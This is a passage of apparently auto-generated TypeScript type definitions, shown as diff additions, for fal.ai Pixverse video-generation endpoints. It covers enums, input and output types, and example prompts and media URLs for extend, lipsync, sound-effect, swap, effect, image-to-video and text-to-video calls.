'v4.5': 'v4.5', + v5: 'v5', + 'v5.5': 'v5.5', + 'v5.6': 'v5.6', + v6: 'v6', +} as const + +export type InputFalAiPixverseExtendFastModelEnumKey = + (typeof inputFalAiPixverseExtendFastModelEnum)[keyof typeof inputFalAiPixverseExtendFastModelEnum] + +export const inputFalAiPixverseExtendFastResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', +} as const + +export type InputFalAiPixverseExtendFastResolutionEnumKey = + (typeof inputFalAiPixverseExtendFastResolutionEnum)[keyof typeof inputFalAiPixverseExtendFastResolutionEnum] + +export type InputFalAiPixverseExtendFast = { + /** + * @description URL of the input video to extend + * @example https://v3.fal.media/files/rabbit/88-jI3VWXU4Q8kSNrWo3c_output.mp4 + * @type string + */ + video_url: string + /** + * @description Prompt describing how to extend the video + * @example A kid is talking into camera + * @type string + */ + prompt: string + /** + * @description The style of the extended video + */ + style?: InputFalAiPixverseExtendFastStyleKey | null + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description Negative prompt to be used for the generation + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The model version to use for generation + * @default 'v4.5' + * @type string | undefined + */ + model?: InputFalAiPixverseExtendFastModelEnumKey + /** + * @description The resolution of the generated video. Fast mode doesn't support 1080p + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseExtendFastResolutionEnumKey + /** + * @description Enable audio generation (BGM, SFX, dialogue). Supported in v5.6+ models. + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean +} + +export type File3414C278 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseExtendFast = { + /** + * @description The extended video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":1163040,"url":"https://v3.fal.media/files/rabbit/88-jI3VWXU4Q8kSNrWo3c_output.mp4"} + * @type object + */ + video: File3414C278 +} + +export const inputFalAiPixverseLipsyncVoiceIdEnum = { + Emily: 'Emily', + James: 'James', + Isabella: 'Isabella', + Liam: 'Liam', + Chloe: 'Chloe', + Adrian: 'Adrian', + Harper: 'Harper', + Ava: 'Ava', + Sophia: 'Sophia', + Julia: 'Julia', + Mason: 'Mason', + Jack: 'Jack', + Oliver: 'Oliver', + Ethan: 'Ethan', + Auto: 'Auto', +} as const + +export type InputFalAiPixverseLipsyncVoiceIdEnumKey = + (typeof inputFalAiPixverseLipsyncVoiceIdEnum)[keyof typeof inputFalAiPixverseLipsyncVoiceIdEnum] + +export type InputFalAiPixverseLipsync = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Voice to use for TTS when audio_url is not provided + * @default 'Auto' + * @type string | undefined + */ + voice_id?: InputFalAiPixverseLipsyncVoiceIdEnumKey + /** + * @description URL of the input video + * @example https://v3.fal.media/files/penguin/T-ONORYMYLoEOB9lXryA2_IKEy3yAyi1evJGBAkXGZx_output.mp4 + * @type string + */ + video_url: string + /** + * @description URL of the input audio. If not provided, TTS will be used. + * @example https://v3.fal.media/files/monkey/k4iyN8bJZWwJXMKH-pO9r_speech.mp3 + */ + audio_url?: string | null + /** + * @description Text content for TTS when audio_url is not provided + * @example Hello, this is a test message. + */ + text?: string | null +} + +export type FileEb430F4D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseLipsync = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":1732359,"url":"https://v3.fal.media/files/penguin/hsR_KXBJjuF3IIVYIIDA2_output.mp4"} + * @type object + */ + video: FileEb430F4D +} + +export type InputFalAiPixverseSoundEffects = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Description of the sound effect to generate. If empty, a random sound effect will be generated + * @default '' + * @example sea waves + * @example thunder storm + * @example birds chirping + * @type string | undefined + */ + prompt?: string + /** + * @description URL of the input video to add sound effects to + * @example https://v3.fal.media/files/tiger/QfpJmEBkR75KpB6yfNLDM_video.mp4 + * @type string + */ + video_url: string + /** + * @description Whether to keep the original audio from the video + * @default false + * @type boolean | undefined + */ + original_sound_switch?: boolean +} + +export type File9973De0F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseSoundEffects = { + /** + * @description The video with added sound effects + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":1534052,"url":"https://v3.fal.media/files/kangaroo/bBQr_DUeICo6_Ty_b_Y0I_output.mp4"} + * @type object + */ + video: File9973De0F +} + +export const inputFalAiPixverseSwapResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', +} as const + +export type InputFalAiPixverseSwapResolutionEnumKey = + (typeof inputFalAiPixverseSwapResolutionEnum)[keyof typeof inputFalAiPixverseSwapResolutionEnum] + +export const inputFalAiPixverseSwapModeEnum = { + person: 'person', + object: 'object', + background: 'background', +} as const + +export type InputFalAiPixverseSwapModeEnumKey = + (typeof inputFalAiPixverseSwapModeEnum)[keyof typeof inputFalAiPixverseSwapModeEnum] + +export type InputFalAiPixverseSwap = { + /** + * @description Whether to keep the original audio + * @default true + * @type boolean | undefined + */ + original_sound_switch?: boolean + /** + * @description URL of the external video to swap + * @example https://v3b.fal.media/files/b/lion/k_RpEIZ4YZtwZklzXz7Gb_output.mp4 + * @type string + */ + video_url: string + /** + * @description URL of the target image for swapping + * @example https://v3b.fal.media/files/b/elephant/Lu7lo2dpxVPD-NrNZzx42_56dc797a1f764c98a4f075a8c0332bf0.jpg + * @type string + */ + image_url: string + /** + * @description The keyframe ID to use for face/object mapping. The input video is normalized to 24 FPS before processing, so keyframe 1 = first frame, keyframe 24 = 1 second in, etc. Valid range: 1 to (duration_seconds * 24). + * @minimum 1 + * @default 1 + * @type integer | undefined + */ + keyframe_id?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The output resolution (1080p not supported) + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseSwapResolutionEnumKey + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description The swap mode to use + * @default 'person' + * @type string | undefined + */ + mode?: InputFalAiPixverseSwapModeEnumKey +} + +export type FileFf1D9030 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseSwap = { + /** + * @description The generated swapped video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":1234567,"url":"https://v3b.fal.media/files/b/elephant/BdQvPf9T6puy3Co1_ZXeu_output.mp4"} + * @type object + */ + video: FileFf1D9030 +} + +export const inputFalAiPixverseV35EffectsEffectEnum = { + 'Kiss Me AI': 'Kiss Me AI', + Kiss: 'Kiss', + 'Muscle Surge': 'Muscle Surge', + 'Warmth of Jesus': 'Warmth of Jesus', + 'Anything, Robot': 'Anything, Robot', + 'The Tiger Touch': 'The Tiger Touch', + Hug: 'Hug', + 'Holy Wings': 'Holy Wings', + Microwave: 'Microwave', + 'Zombie Mode': 'Zombie Mode', + 'Squid Game': 'Squid Game', + 'Baby Face': 'Baby Face', + 'Black Myth: Wukong': 'Black Myth: Wukong', + 'Long Hair Magic': 'Long Hair Magic', + 'Leggy Run': 'Leggy Run', + 'Fin-tastic Mermaid': 'Fin-tastic Mermaid', + 'Punch Face': 'Punch Face', + 'Creepy Devil Smile': 'Creepy Devil Smile', + 'Thunder God': 'Thunder God', + 'Eye Zoom Challenge': 'Eye Zoom Challenge', + "Who's Arrested?": "Who's Arrested?", + 'Baby Arrived': 'Baby Arrived', + 'Werewolf Rage': 'Werewolf Rage', + 'Bald Swipe': 'Bald Swipe', + 'BOOM DROP': 'BOOM DROP', + 'Huge Cutie': 'Huge Cutie', + 'Liquid Metal': 'Liquid Metal', + 'Sharksnap!': 'Sharksnap!', + 'Dust Me Away': 'Dust Me Away', + '3D Figurine Factor': '3D Figurine Factor', + 'Bikini Up': 'Bikini Up', + 'My Girlfriends': 'My Girlfriends', + 'My Boyfriends': 'My Boyfriends', + 'Subject 3 Fever': 'Subject 3 Fever', + 'Earth Zoom': 'Earth Zoom', + 'Pole Dance': 'Pole Dance', + 'Vroom Dance': 'Vroom Dance', + 'GhostFace Terror': 'GhostFace Terror', + 'Dragon Evoker': 'Dragon Evoker', + 'Skeletal Bae': 'Skeletal Bae', + 'Summoning succubus': 'Summoning succubus', + 'Halloween Voodoo Doll': 'Halloween Voodoo Doll', + '3D Naked-Eye AD': '3D Naked-Eye AD', + 'Package Explosion': 'Package Explosion', + 'Dishes Served': 'Dishes Served', + 'Ocean ad': 'Ocean ad', + 'Supermarket AD': 'Supermarket AD', + 'Tree doll': 'Tree doll', + 'Come Feel My Abs': 'Come Feel My Abs', + 'The Bicep Flex': 'The Bicep Flex', + 'London Elite Vibe': 'London Elite Vibe', + 'Flora Nymph Gown': 'Flora Nymph Gown', + 'Christmas Costume': 'Christmas Costume', + "It's Snowy": "It's Snowy", + 'Reindeer Cruiser': 'Reindeer Cruiser', + 'Snow Globe Maker': 'Snow Globe Maker', + 'Pet Christmas Outfit': 'Pet Christmas Outfit', + 'Adopt a Polar Pal': 'Adopt a Polar Pal', + 'Cat Christmas Box': 'Cat Christmas Box', + 'Starlight Gift Box': 'Starlight Gift Box', + 'Xmas Poster': 'Xmas Poster', + 'Pet Christmas Tree': 'Pet Christmas Tree', + 'City Santa Hat': 'City Santa Hat', + 'Stocking Sweetie': 'Stocking Sweetie', + 'Christmas Night': 'Christmas Night', + 'Xmas Front Page Karma': 'Xmas Front Page Karma', + "Grinch's Xmas Hijack": "Grinch's Xmas Hijack", + 'Giant Product': 'Giant Product', + 'Truck Fashion Shoot': 'Truck Fashion Shoot', + 'Beach AD': 'Beach AD', + 'Shoal Surround': 'Shoal Surround', + 'Mechanical Assembly': 'Mechanical Assembly', + 'Lighting AD': 'Lighting AD', + 'Billboard AD': 'Billboard AD', + 'Product close-up': 'Product close-up', + 'Parachute Delivery': 'Parachute Delivery', + 'Dreamlike Cloud': 'Dreamlike Cloud', + 'Macaron Machine': 'Macaron Machine', + 'Poster AD': 'Poster AD', + 'Truck AD': 'Truck AD', + 'Graffiti AD': 'Graffiti AD', + '3D Figurine Factory': '3D Figurine Factory', + 'The Exclusive First Class': 'The Exclusive First Class', + 'Art Zoom Challenge': 'Art Zoom Challenge', + 'I Quit': 'I Quit', + 'Hitchcock Dolly Zoom': 'Hitchcock Dolly Zoom', + 'Smell the Lens': 'Smell the Lens', + 'I believe I can fly': 'I believe I can fly', + 'Strikout Dance': 'Strikout Dance', + 'Courtside Cam': 'Courtside Cam', + 'Pit Crew Moment': 'Pit Crew Moment', + 'K-Baseball Sprint': 'K-Baseball Sprint', + 'Toddler Doodle': 'Toddler Doodle', + 'Idol Ending': 'Idol Ending', + 'Apex Dance': 'Apex Dance', + 'OmniHero Forge': 'OmniHero Forge', + 'Palm Decode': 'Palm Decode', + 'The Age Ripple': 'The Age Ripple', + 'My Future Is Limitless': 'My Future Is Limitless', + 'Knee Slide': 'Knee Slide', + 'Epic Goal Save': 'Epic Goal Save', + 'Sideline Ball Boy': 'Sideline Ball Boy', + 'Cup Celebration': 'Cup Celebration', + 'Victory Roar': 'Victory Roar', + 'Vuvuzela Fan': 'Vuvuzela Fan', + 'World Champion Lift': 'World Champion Lift', + 'Tunnel to Captain': 'Tunnel to Captain', + 'Liquid Soccer Morph': 'Liquid Soccer Morph', + 'Jump Into Crowd 2': 'Jump Into Crowd 2', + 'Golden Pitch Crasher': 'Golden Pitch Crasher', + 'Stadium Fan Cam': 'Stadium Fan Cam', + 'Broadcast Moto GP': 'Broadcast Moto GP', + 'The Grotesque Clay': 'The Grotesque Clay', + 'Rookie Star Card': 'Rookie Star Card', + 'The Final Hug': 'The Final Hug', + 'Sharp Post-Match Comment': 'Sharp Post-Match Comment', + 'Street Maverick': 'Street Maverick', + 'Pitch Legend': 'Pitch Legend', + 'One Step At A Time': 'One Step At A Time', + 'Birthday Mirror': 'Birthday Mirror', + 'Superstar Lobby': 'Superstar Lobby', + 'Final Battle Room': 'Final Battle Room', + 'Top of the World': 'Top of the World', + 'Mini Me Unboxed': 'Mini Me Unboxed', + 'WonderPOP Surprise': 'WonderPOP Surprise', + 'White Chicks': 'White Chicks', + 'Kiss me': 'Kiss me', + 'What a Day': 'What a Day', + 'The Last Leap at Sunset': 'The Last Leap at Sunset', + 'Tiny Sticker Chef Chaos': 'Tiny Sticker Chef Chaos', + 'Mini Squeeze Toy': 'Mini Squeeze Toy', + 'Tearful Gunman': 'Tearful Gunman', + 'Street Fashion Caricature': 'Street Fashion Caricature', + 'Mini Me Makeover': 'Mini Me Makeover', + 'Street Art Awakening': 'Street Art Awakening', + 'Hug Together': 'Hug Together', + 'ACAI dance Duet': 'ACAI dance Duet', + 'PUBG Winner Hit!': 'PUBG Winner Hit!', + 'Blocky Mini-Me': 'Blocky Mini-Me', + 'Cheat Day Busted': 'Cheat Day Busted', + 'MiniSocial Recharge': 'MiniSocial Recharge', + 'My Little Perler Charm': 'My Little Perler Charm', + 'Where did this cobweb come from?': 'Where did this cobweb come from?', + 'Holy Beast Summoning Technique': 'Holy Beast Summoning Technique', + "IT'S THE FIRST OF THE MONTH": "IT'S THE FIRST OF THE MONTH", + 'Pet Editorial': 'Pet Editorial', + 'Three lifetime bond': 'Three lifetime bond', + 'Pixel World': 'Pixel World', + 'Mint in Box': 'Mint in Box', + 'Hands up, Hand': 'Hands up, Hand', + 'Flora Nymph Go': 'Flora Nymph Go', + 'Somber Embrace': 'Somber Embrace', + 'Beam me up': 'Beam me up', + 'Suit Swagger': 'Suit Swagger', +} as const + +export type InputFalAiPixverseV35EffectsEffectEnumKey = + (typeof inputFalAiPixverseV35EffectsEffectEnum)[keyof typeof inputFalAiPixverseV35EffectsEffectEnum] + +export const inputFalAiPixverseV35EffectsResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV35EffectsResolutionEnumKey = + (typeof inputFalAiPixverseV35EffectsResolutionEnum)[keyof typeof inputFalAiPixverseV35EffectsResolutionEnum] + +export const inputFalAiPixverseV35EffectsDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV35EffectsDurationEnumKey = + (typeof inputFalAiPixverseV35EffectsDurationEnum)[keyof typeof inputFalAiPixverseV35EffectsDurationEnum] + +export type InputFalAiPixverseV35Effects = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional URL of the image to use as the first frame. If not provided, generates from text + * @example https://v3.fal.media/files/koala/q5ahL3KS7ikt3MvpNUG8l_image%20(72).webp + * @type string + */ + image_url: string + /** + * @description The effect to apply to the video + * @type string + */ + effect: InputFalAiPixverseV35EffectsEffectEnumKey + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV35EffectsResolutionEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV35EffectsDurationEnumKey +} + +export type FileF47A0464 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV35Effects = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3232402,"url":"https://fal.media/files/koala/awGY1lJd7lVsqQeSqjWqn_output.mp4"} + * @type object + */ + video: FileF47A0464 +} + +export const inputFalAiPixverseV35ImageToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV35ImageToVideoStyleKey = + (typeof inputFalAiPixverseV35ImageToVideoStyle)[keyof typeof inputFalAiPixverseV35ImageToVideoStyle] + +export const inputFalAiPixverseV35ImageToVideoDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV35ImageToVideoDurationEnumKey = + (typeof inputFalAiPixverseV35ImageToVideoDurationEnum)[keyof typeof inputFalAiPixverseV35ImageToVideoDurationEnum] + +export const inputFalAiPixverseV35ImageToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV35ImageToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV35ImageToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV35ImageToVideoResolutionEnum] + +export type InputFalAiPixverseV35ImageToVideo = { + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV35ImageToVideoStyleKey | null + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 8s videos cost double. 1080p videos are limited to 5 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV35ImageToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV35ImageToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File24A144E7 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV35ImageToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":4060052,"url":"https://fal.media/files/tiger/8V9H8RLyFiWjmJDOxGbcG_output.mp4"} + * @type object + */ + video: File24A144E7 +} + +export const inputFalAiPixverseV35ImageToVideoFastStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV35ImageToVideoFastStyleKey = + (typeof inputFalAiPixverseV35ImageToVideoFastStyle)[keyof typeof inputFalAiPixverseV35ImageToVideoFastStyle] + +export const inputFalAiPixverseV35ImageToVideoFastResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', +} as const + +export type InputFalAiPixverseV35ImageToVideoFastResolutionEnumKey = + (typeof inputFalAiPixverseV35ImageToVideoFastResolutionEnum)[keyof typeof inputFalAiPixverseV35ImageToVideoFastResolutionEnum] + +export type InputFalAiPixverseV35ImageToVideoFast = { + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV35ImageToVideoFastStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. + * @type string + */ + prompt: string + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV35ImageToVideoFastResolutionEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type FileD79F21Fc = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV35ImageToVideoFast = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":4060052,"url":"https://fal.media/files/tiger/8V9H8RLyFiWjmJDOxGbcG_output.mp4"} + * @type object + */ + video: FileD79F21Fc +} + +export const inputFalAiPixverseV35TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV35TextToVideoAspectRatioEnumKey = + (typeof inputFalAiPixverseV35TextToVideoAspectRatioEnum)[keyof typeof inputFalAiPixverseV35TextToVideoAspectRatioEnum] + +export const inputFalAiPixverseV35TextToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV35TextToVideoStyleKey = + (typeof inputFalAiPixverseV35TextToVideoStyle)[keyof typeof inputFalAiPixverseV35TextToVideoStyle] + +export const inputFalAiPixverseV35TextToVideoDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV35TextToVideoDurationEnumKey = + (typeof inputFalAiPixverseV35TextToVideoDurationEnum)[keyof typeof inputFalAiPixverseV35TextToVideoDurationEnum] + +export const inputFalAiPixverseV35TextToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV35TextToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV35TextToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV35TextToVideoResolutionEnum] + +export type InputFalAiPixverseV35TextToVideo = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV35TextToVideoAspectRatioEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV35TextToVideoStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, Peter Max art style depiction, luminous diamond skin glistening under a vast moon's radiance, embodied in a superhuman flight among mystical ruins, symbolizing a deity's ritual ascent, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 8s videos cost double. 1080p videos are limited to 5 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV35TextToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV35TextToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File9452E653 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV35TextToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":2995630,"url":"https://fal.media/files/zebra/11UahivZ3XZ1tRlcEcgPq_output.mp4"} + * @type object + */ + video: File9452E653 +} + +export const inputFalAiPixverseV35TextToVideoFastAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV35TextToVideoFastAspectRatioEnumKey = + (typeof inputFalAiPixverseV35TextToVideoFastAspectRatioEnum)[keyof typeof inputFalAiPixverseV35TextToVideoFastAspectRatioEnum] + +export const inputFalAiPixverseV35TextToVideoFastResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', +} as const + +export type InputFalAiPixverseV35TextToVideoFastResolutionEnumKey = + (typeof inputFalAiPixverseV35TextToVideoFastResolutionEnum)[keyof typeof inputFalAiPixverseV35TextToVideoFastResolutionEnum] + +export const inputFalAiPixverseV35TextToVideoFastStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV35TextToVideoFastStyleKey = + (typeof inputFalAiPixverseV35TextToVideoFastStyle)[keyof typeof inputFalAiPixverseV35TextToVideoFastStyle] + +export type InputFalAiPixverseV35TextToVideoFast = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, Peter Max art style depiction, luminous diamond skin glistening under a vast moon's radiance, embodied in a superhuman flight among mystical ruins, symbolizing a deity's ritual ascent, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV35TextToVideoFastAspectRatioEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV35TextToVideoFastResolutionEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV35TextToVideoFastStyleKey | null +} + +export type File93419858 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV35TextToVideoFast = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":2995630,"url":"https://fal.media/files/zebra/11UahivZ3XZ1tRlcEcgPq_output.mp4"} + * @type object + */ + video: File93419858 +} + +export const 